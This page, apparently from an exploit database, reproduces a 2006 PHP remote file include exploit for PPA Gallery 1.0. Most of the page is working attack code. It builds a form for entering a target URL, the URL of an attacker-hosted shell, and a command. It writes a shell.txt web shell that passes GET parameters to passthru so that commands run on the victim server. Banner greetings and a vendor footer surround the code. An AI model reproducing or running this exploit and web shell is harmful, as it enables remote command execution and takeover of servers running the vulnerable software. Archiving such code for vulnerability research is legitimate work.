Lucene search
K

PPA Gallery <= 1.0 (functions.inc.php) Remote File Include Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 49 Views

PPA Gallery <= 1.0 Remote File Include Exploi

Code

                                                &#60;?php
/*
:::::::::  :::::::::: :::     ::: ::::::::::: :::        
:+:    :+: :+:        :+:     :+:     :+:     :+:        
+:+    +:+ +:+        +:+     +:+     +:+     +:+        
+#+    +:+ +#++:++#   +#+     +:+     +#+     +#+        
+#+    +#+ +#+         +#+   +#+      +#+     +#+        
#+#    #+# #+#          #+#+#+#       #+#     #+#        
#########  ##########     ###     ########### ########## 
::::::::::: ::::::::::     :::     ::::    ::::  
    :+:     :+:          :+: :+:   +:+:+: :+:+:+ 
    +:+     +:+         +:+   +:+  +:+ +:+:+ +:+ 
    +#+     +#++:++#   +#++:++#++: +#+  +:+  +#+ 
    +#+     +#+        +#+     +#+ +#+       +#+ 
    #+#     #+#        #+#     #+# #+#       #+# 
    ###     ########## ###     ### ###       ### 
	
	
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- PPA Gallery &#60;= 1.0 Remote File Include Exploit
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- [Script name: PPA Gallery 1.0
- [Script site: http://www.ppa.baiz.org
- [Download script: http://skrypty.webpc.pl/pobierz.php?id=602

+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-          Find by: Kacper (a.k.a Rahim)
+
-    DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam
+
-          Contact: [email protected]
-                        or
-           http://www.rahim.webd.pl/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- Special Greetz: DragonHeart ;-)
- Ema: Leito, Leon, Adam, DeathSpeed, Drzewko, pepi, mivus
-                 SkD, nukedclx, Ramzes
-
- Greetz for all users DEVIL TEAM IRC Channel !!
!@ Przyjazni nie da sie zamienic na marne korzysci @!
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-            Z Dedykacja dla osoby,
-         bez ktorej nie mogl bym zyc...
-           K.C:* J.M (a.k.a Magaja)
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*/

$cmd = $_POST[&#34;cmd&#34;];
$glowna = $_POST[&#34;glowna&#34;];
$shell = $_POST[&#34;shell&#34;];
$exp= &#34;&#60;title&#62;PPA Gallery &lt;= 1.0 Remote File Include Exploit :: DEVIL TEAM :: The Best Polish Team ::&#60;/title&#62;&#34;
.&#34;&#60;style type=\&#34;text/css\&#34;&#62;&#34;
.&#34;body {background-color: #000000;}&#34;
.&#34;body,td,th {color: #FFFFFF;}&#34;
.&#34;&#60;/style&#62;&#60;form method=\&#34;post\&#34; action=\&#34;&#34;.$glowna.$shell.&#34;?cmd=&#34;.$cmd.&#34;\&#34;&#62;&#34;
.&#34;&#60;div align=\&#34;center\&#34;&#62;&#60;img src=\&#34;http://www.rahim.webd.pl/index_r2_c3.jpg\&#34;&#62;&#60;/div&#62;&#34;
.&#34;&#60;p align=\&#34;center\&#34;&#62;script url: (ex. http://www.site.com/[ppa_path]/inc/functions.inc.php?config[ppa_root_path]=)&#60;br&#62;&#34;
.&#34;&#60;input type=\&#34;text\&#34; name=\&#34;glowna\&#34; size=\&#34;90\&#34;&#34;.$glowna.&#34;\&#34;&#62;&#34;
.&#34;&#60;br&#62;&#34;
.&#34;shell url: (ex. http://www.site.com/[path]/shell.txt?) shell.txt (CHMOD 777)&#60;br&#62;&#34;
.&#34;&#60;input type=\&#34;text\&#34; name=\&#34;shell\&#34; size=\&#34;90\&#34;&#34;.$shell.&#34;\&#34;&#62;&#34;
.&#34;&#60;br&#62;&#34;
.&#34;cmd: (ex. ls -la)&#60;br&#62;&#34;
.&#34;&#60;input name=\&#34;cmd\&#34; type=\&#34;text\&#34; size=\&#34;90\&#34;&#34;.$cmd.&#34;\&#34;&#62;&#34;
.&#34;&#60;br&#62;&#34;
.&#34;&#60;input type=\&#34;submit\&#34; value=\&#34;Exploit\&#34; name=\&#34;submit\&#34;&#62;&#34;
.&#34;&#60;/p&#62;&#34;
.&#34;&#60;p align=\&#34;center\&#34;&#62;Find by: &#60;a href=\&#34;mailto:[email protected]\&#34;&#62;Kacper&#60;/a&#62; (a.k.a &#60;a href=\&#34;mailto:[email protected]\&#34;&#62;Rahim&#60;/a&#62;)&#60;br&#62;&#34;
.&#34;&#60;br&#62;&#34;
.&#34;DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam&#60;br&#62;&#34;
.&#34;&#60;br&#62;&#34;
.&#34;Contact: &#60;a href=\&#34;mailto:[email protected]\&#34;&#62;[email protected]&#60;/a&#62;&#60;br&#62;&#34;
.&#34;or&#60;/p&#62;&#34;
.&#34;&#60;p align=\&#34;center\&#34;&#62; &#60;a href=\&#34;http://www.rahim.webd.pl/\&#34;&#62;http://www.rahim.webd.pl/&#60;/a&#62;&#60;/p&#62;&#34;
.&#34;&#60;p align=\&#34;center\&#34; class=\&#34;name\&#34;&#62;&nbsp;&#60;/p&#62;&#34;
.&#34;&#60;HR WIDTH=\&#34;650\&#34; ALIGN=\&#34;center\&#34;&#62;&#34;
.&#34;&#60;p align=\&#34;center\&#34;&#62; Z Dedykacja dla osoby,&#60;br&#62;&#34;
.&#34;bez ktorej nie mogl bym zyc...&#60;br&#62;&#34;
.&#34;K.C:* J.M (a.k.a Magaja)&#60;/p&#62;&#34;
.&#34;&#60;p align=\&#34;center\&#34;&#62;&nbsp;&#60;/p&#62;&#34;
.&#34;&#60;p align=\&#34;center\&#34;&#62; Special Greetz: DragonHeart ;-)&#60;br&#62;&#34;
.&#34;Ema: Leito, Leon, Adam, DeathSpeed, Drzewko, pepi, mivus&#60;br&#62;&#34;
.&#34;SkD, nukedclx, Ramzes&#60;br&#62;&#34;
.&#34;&#60;br&#62;&#34;
.&#34;Greetz for all users DEVIL TEAM IRC Channel !!&#60;br&#62;&#34;
.&#34;!@ Przyjazni nie da sie zamienic na marne korzysci @!&#60;/p&#62;&#34;
.&#34;&#60;HR WIDTH=\&#34;650\&#34; ALIGN=\&#34;center\&#34;&#62;&#34;
.&#34;&#60;p align=\&#34;center\&#34;&#62;&nbsp;&#60;/p&#62;&#34;
.&#34;&#60;/form&#62;&#34;;

if (!isset($_POST[&#39;submit&#39;])) 
{
echo $exp;
}else{
$file = fopen (&#34;shell.txt&#34;, &#34;w+&#34;);
fwrite($file, &#39;&#60;?php ob_clean();echo&#34;Hacker_Kacper_Made_in_Poland:)&#34;;ini_set(&#34;max_execution_time&#34;,0);passthru($_GET[&#34;cmd&#34;]);die;?&#62;&#39;);
fclose($file);
$file = fopen ($shell, &#34;r&#34;);
if (!$file) {
    echo &#34;&#60;p&#62;Don&#39;t Find shell :( Insert in FTP shell.txt.\n&#34;;
    exit;
}
echo $exp;
while (!feof ($file)) {
    $line .= fgets ($file, 1024).&#34;&#60;br&#62;&#34;;
    }
$tpos1 = strpos($line, &#34;++BEGIN++&#34;);
$tpos2 = strpos($line, &#34;++END++&#34;);
$tpos1 = $tpos1+strlen(&#34;++BEGIN++&#34;);
$tpos2 = $tpos2-$tpos1;
$output = substr($line, $tpos1, $tpos2);
}
?&#62;

# milw0rm.com [2006-09-28]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation